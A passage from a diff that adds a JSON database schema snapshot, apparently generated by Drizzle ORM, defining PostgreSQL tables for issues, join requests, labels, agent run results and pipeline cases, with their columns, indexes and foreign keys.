+ ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issues\".\"origin_kind\" = 'onboarding_first_task'", + "concurrently": false + } + }, + "foreignKeys": { + "issues_company_id_companies_id_fk": { + "name": "issues_company_id_companies_id_fk", + "tableFrom": "issues", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issues_project_id_projects_id_fk": { + "name": "issues_project_id_projects_id_fk", + "tableFrom": "issues", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issues_project_workspace_id_project_workspaces_id_fk": { + "name": "issues_project_workspace_id_project_workspaces_id_fk", + "tableFrom": "issues", + "columnsFrom": [ + "project_workspace_id" + ], + "tableTo": "project_workspaces", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issues_goal_id_goals_id_fk": { + "name": "issues_goal_id_goals_id_fk", + "tableFrom": "issues", + "columnsFrom": [ + "goal_id" + ], + "tableTo": "goals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issues_parent_id_issues_id_fk": { + "name": "issues_parent_id_issues_id_fk", + "tableFrom": "issues", + "columnsFrom": [ + "parent_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issues_assignee_agent_id_agents_id_fk": { + "name": "issues_assignee_agent_id_agents_id_fk", + "tableFrom": "issues", + "columnsFrom": [ + "assignee_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issues_checkout_run_id_heartbeat_runs_id_fk": { + "name": "issues_checkout_run_id_heartbeat_runs_id_fk", + "tableFrom": "issues", + "columnsFrom": [ + "checkout_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issues_execution_run_id_heartbeat_runs_id_fk": { + "name": "issues_execution_run_id_heartbeat_runs_id_fk", + "tableFrom": "issues", + "columnsFrom": [ + "execution_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issues_created_by_agent_id_agents_id_fk": { + "name": "issues_created_by_agent_id_agents_id_fk", + "tableFrom": "issues", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issues_execution_workspace_id_execution_workspaces_id_fk": { + "name": "issues_execution_workspace_id_execution_workspaces_id_fk", + "tableFrom": "issues", + "columnsFrom": [ + "execution_workspace_id" + ], + "tableTo": "execution_workspaces", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "issues_company_id_uq": { + "name": "issues_company_id_uq", + "columns": [ + "company_id", + "id" + ], + "nullsNotDistinct": false + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.join_requests": { + "name": "join_requests", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "invite_id": { + "name": "invite_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "request_type": { + "name": "request_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending_approval'" + }, + "request_ip": { + "name": "request_ip", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "requesting_user_id": { + "name": "requesting_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "request_email_snapshot": { + "name": "request_email_snapshot", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agent_name": { + "name": "agent_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "adapter_type": { + "name": "adapter_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "capabilities": { + "name": "capabilities", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agent_defaults_payload": { + "name": "agent_defaults_payload", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "claim_secret_hash": { + "name": "claim_secret_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "claim_secret_expires_at": { + "name": "claim_secret_expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "claim_secret_consumed_at": { + "name": "claim_secret_consumed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_agent_id": { + "name": "created_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "approved_by_user_id": { + "name": "approved_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "approved_at": { + "name": "approved_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "rejected_by_user_id": { + "name": "rejected_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rejected_at": { + "name": "rejected_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "join_requests_invite_unique_idx": { + "name": "join_requests_invite_unique_idx", + "columns": [ + { + "expression": "invite_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "join_requests_company_status_type_created_idx": { + "name": "join_requests_company_status_type_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "request_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "join_requests_pending_human_user_uq": { + "name": "join_requests_pending_human_user_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "requesting_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"requesting_user_id\" IS NOT NULL", + "concurrently": false + }, + "join_requests_pending_human_email_uq": { + "name": "join_requests_pending_human_email_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lower(\"request_email_snapshot\")", + "isExpression": true, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"request_email_snapshot\" IS NOT NULL", + "concurrently": false + } + }, + "foreignKeys": { + "join_requests_invite_id_invites_id_fk": { + "name": "join_requests_invite_id_invites_id_fk", + "tableFrom": "join_requests", + "columnsFrom": [ + "invite_id" + ], + "tableTo": "invites", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "join_requests_company_id_companies_id_fk": { + "name": "join_requests_company_id_companies_id_fk", + "tableFrom": "join_requests", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "join_requests_created_agent_id_agents_id_fk": { + "name": "join_requests_created_agent_id_agents_id_fk", + "tableFrom": "join_requests", + "columnsFrom": [ + "created_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.labels": { + "name": "labels", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "labels_company_idx": { + "name": "labels_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "labels_company_name_idx": { + "name": "labels_company_name_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "labels_company_id_companies_id_fk": { + "name": "labels_company_id_companies_id_fk", + "tableFrom": "labels", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.native_run_finalizations": { + "name": "native_run_finalizations", + "schema": "", + "columns": { + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": true, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "phase": { + "name": "phase", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "attempt": { + "name": "attempt", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lease_owner": { + "name": "lease_owner", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lease_expires_at": { + "name": "lease_expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "result_id": { + "name": "result_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "assessment_id": { + "name": "assessment_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "decision_id": { + "name": "decision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "failure_code": { + "name": "failure_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "failure_detail": { + "name": "failure_detail", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "next_attempt_at": { + "name": "next_attempt_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "native_run_finalizations_company_id_companies_id_fk": { + "name": "native_run_finalizations_company_id_companies_id_fk", + "tableFrom": "native_run_finalizations", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "native_run_finalizations_issue_company_fk": { + "name": "native_run_finalizations_issue_company_fk", + "tableFrom": "native_run_finalizations", + "columnsFrom": [ + "company_id", + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "company_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "native_run_finalizations_run_owner_fk": { + "name": "native_run_finalizations_run_owner_fk", + "tableFrom": "native_run_finalizations", + "columnsFrom": [ + "company_id", + "issue_id", + "run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "company_id", + "native_issue_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "native_run_finalizations_result_owner_fk": { + "name": "native_run_finalizations_result_owner_fk", + "tableFrom": "native_run_finalizations", + "columnsFrom": [ + "company_id", + "issue_id", + "run_id", + "result_id" + ], + "tableTo": "native_run_results", + "columnsTo": [ + "company_id", + "issue_id", + "run_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "native_run_finalizations_assessment_owner_fk": { + "name": "native_run_finalizations_assessment_owner_fk", + "tableFrom": "native_run_finalizations", + "columnsFrom": [ + "company_id", + "issue_id", + "run_id", + "assessment_id" + ], + "tableTo": "work_assessments", + "columnsTo": [ + "company_id", + "issue_id", + "run_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "native_run_finalizations_decision_owner_fk": { + "name": "native_run_finalizations_decision_owner_fk", + "tableFrom": "native_run_finalizations", + "columnsFrom": [ + "company_id", + "issue_id", + "run_id", + "assessment_id", + "decision_id" + ], + "tableTo": "status_decisions", + "columnsTo": [ + "company_id", + "issue_id", + "run_id", + "assessment_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "native_run_finalizations_assessment_requires_result_check": { + "name": "native_run_finalizations_assessment_requires_result_check", + "value": "\"native_run_finalizations\".\"assessment_id\" is null or \"native_run_finalizations\".\"result_id\" is not null" + }, + "native_run_finalizations_decision_requires_assessment_check": { + "name": "native_run_finalizations_decision_requires_assessment_check", + "value": "\"native_run_finalizations\".\"decision_id\" is null or \"native_run_finalizations\".\"assessment_id\" is not null" + } + }, + "isRLSEnabled": false + }, + "public.native_run_results": { + "name": "native_run_results", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "turn_id": { + "name": "turn_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "completion_contract_id": { + "name": "completion_contract_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "caller_result_id": { + "name": "caller_result_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "caller_dedupe_key": { + "name": "caller_dedupe_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "server_fingerprint": { + "name": "server_fingerprint", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "schema_status": { + "name": "schema_status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "rejection_code": { + "name": "rejection_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "result_json": { + "name": "result_json", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "canonical_sha256": { + "name": "canonical_sha256", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "native_run_results_run_fingerprint_uq": { + "name": "native_run_results_run_fingerprint_uq", + "columns": [ + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "server_fingerprint", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "native_run_results_run_caller_result_uq": { + "name": "native_run_results_run_caller_result_uq", + "columns": [ + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "caller_result_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "native_run_results_run_caller_dedupe_uq": { + "name": "native_run_results_run_caller_dedupe_uq", + "columns": [ + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "caller_dedupe_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "native_run_results_company_id_companies_id_fk": { + "name": "native_run_results_company_id_companies_id_fk", + "tableFrom": "native_run_results", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "native_run_results_issue_company_fk": { + "name": "native_run_results_issue_company_fk", + "tableFrom": "native_run_results", + "columnsFrom": [ + "company_id", + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "company_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "native_run_results_run_contract_owner_fk": { + "name": "native_run_results_run_contract_owner_fk", + "tableFrom": "native_run_results", + "columnsFrom": [ + "company_id", + "issue_id", + "run_id", + "completion_contract_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "company_id", + "native_issue_id", + "id", + "completion_contract_id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "native_run_results_completion_contract_owner_fk": { + "name": "native_run_results_completion_contract_owner_fk", + "tableFrom": "native_run_results", + "columnsFrom": [ + "company_id", + "issue_id", + "completion_contract_id" + ], + "tableTo": "completion_contracts", + "columnsTo": [ + "company_id", + "issue_id", + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "native_run_results_company_issue_run_id_uq": { + "name": "native_run_results_company_issue_run_id_uq", + "columns": [ + "company_id", + "issue_id", + "run_id", + "id" + ], + "nullsNotDistinct": false + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pipeline_automation_executions": { + "name": "pipeline_automation_executions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "automation_id": { + "name": "automation_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "triggering_event_id": { + "name": "triggering_event_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "routine_id": { + "name": "routine_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "execution_issue_id": { + "name": "execution_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "retry_of_execution_id": { + "name": "retry_of_execution_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "generation": { + "name": "generation", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pipeline_automation_executions_idempotency_uq": { + "name": "pipeline_automation_executions_idempotency_uq", + "columns": [ + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "automation_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "triggering_event_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_automation_executions_company_case_idx": { + "name": "pipeline_automation_executions_company_case_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_automation_executions_routine_idx": { + "name": "pipeline_automation_executions_routine_idx", + "columns": [ + { + "expression": "routine_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_automation_executions_execution_issue_idx": { + "name": "pipeline_automation_executions_execution_issue_idx", + "columns": [ + { + "expression": "execution_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_automation_executions_retry_of_execution_idx": { + "name": "pipeline_automation_executions_retry_of_execution_idx", + "columns": [ + { + "expression": "retry_of_execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "pipeline_automation_executions_company_id_companies_id_fk": { + "name": "pipeline_automation_executions_company_id_companies_id_fk", + "tableFrom": "pipeline_automation_executions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_automation_executions_case_id_pipeline_cases_id_fk": { + "name": "pipeline_automation_executions_case_id_pipeline_cases_id_fk", + "tableFrom": "pipeline_automation_executions", + "columnsFrom": [ + "case_id" + ], + "tableTo": "pipeline_cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_automation_executions_routine_id_routines_id_fk": { + "name": "pipeline_automation_executions_routine_id_routines_id_fk", + "tableFrom": "pipeline_automation_executions", + "columnsFrom": [ + "routine_id" + ], + "tableTo": "routines", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_automation_executions_execution_issue_id_issues_id_fk": { + "name": "pipeline_automation_executions_execution_issue_id_issues_id_fk", + "tableFrom": "pipeline_automation_executions", + "columnsFrom": [ + "execution_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "pipeline_automation_executions_status_check": { + "name": "pipeline_automation_executions_status_check", + "value": "\"pipeline_automation_executions\".\"status\" in ('succeeded', 'failed')" + } + }, + "isRLSEnabled": false + }, + "public.pipeline_case_blockers": { + "name": "pipeline_case_blockers", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "blocked_by_case_id": { + "name": "blocked_by_case_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pipeline_case_blockers_case_blocked_by_uq": { + "name": "pipeline_case_blockers_case_blocked_by_uq", + "columns": [ + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "blocked_by_case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_case_blockers_blocked_by_idx": { + "name": "pipeline_case_blockers_blocked_by_idx", + "columns": [ + { + "expression": "blocked_by_case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_case_blockers_company_case_idx": { + "name": "pipeline_case_blockers_company_case_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "pipeline_case_blockers_company_id_companies_id_fk": { + "name": "pipeline_case_blockers_company_id_companies_id_fk", + "tableFrom": "pipeline_case_blockers", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_case_blockers_case_id_pipeline_cases_id_fk": { + "name": "pipeline_case_blockers_case_id_pipeline_cases_id_fk", + "tableFrom": "pipeline_case_blockers", + "columnsFrom": [ + "case_id" + ], + "tableTo": "pipeline_cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk": { + "name": "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk", + "tableFrom": "pipeline_case_blockers", + "columnsFrom": [ + "blocked_by_case_id" + ], + "tableTo": "pipeline_cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "pipeline_case_blockers_no_self_block_check": { + "name": "pipeline_case_blockers_no_self_block_check", + "value": "\"pipeline_case_blockers\".\"case_id\" <> \"pipeline_case_blockers\".\"blocked_by_case_id\"" + } + }, + "isRLSEnabled": false + }, + "public.pipeline_case_documents": { + "name": "pipeline_case_documents", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "document_id": { + "name": "document_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "pipeline_case_documents_company_case_key_uq": { + "name": "pipeline_case_documents_company_case_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_case_documents_document_uq": { + "name": "pipeline_case_documents_document_uq", + "columns": [ + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "pipeline_case_documents_company_case_updated_idx": { + "name": "pipeline_case_documents_company_case_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "case_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "pipeline_case_documents_company_id_companies_id_fk": { + "name": "pipeline_case_documents_company_id_companies_id_fk", + "tableFrom": "pipeline_case_documents", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_case_documents_case_id_pipeline_cases_id_fk": { + "name": "pipeline_case_documents_case_id_pipeline_cases_id_fk", + "tableFrom": "pipeline_case_documents", + "columnsFrom": [ + "case_id" + ], + "tableTo": "pipeline_cases", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "pipeline_case_documents_document_id_documents_id_fk": { + "name": "pipeline_case_documents_document_id_documents_id_fk", + "tableFrom": "pipeline_case_documents", + "columnsFrom": [ + "document_id" + ], + "tableTo": "documents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pipeline_case_events": { + "name": "pipeline_case_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "case_id": { + "name": "case_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "actor_type": { + "name": "actor_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "actor_user_id": { + "name": "actor_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "actor_agent_id": { + "name": "actor_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "from_stage_id": { + "name": "from_stage_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "to_stage_id": { + "name": "to_stage_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + 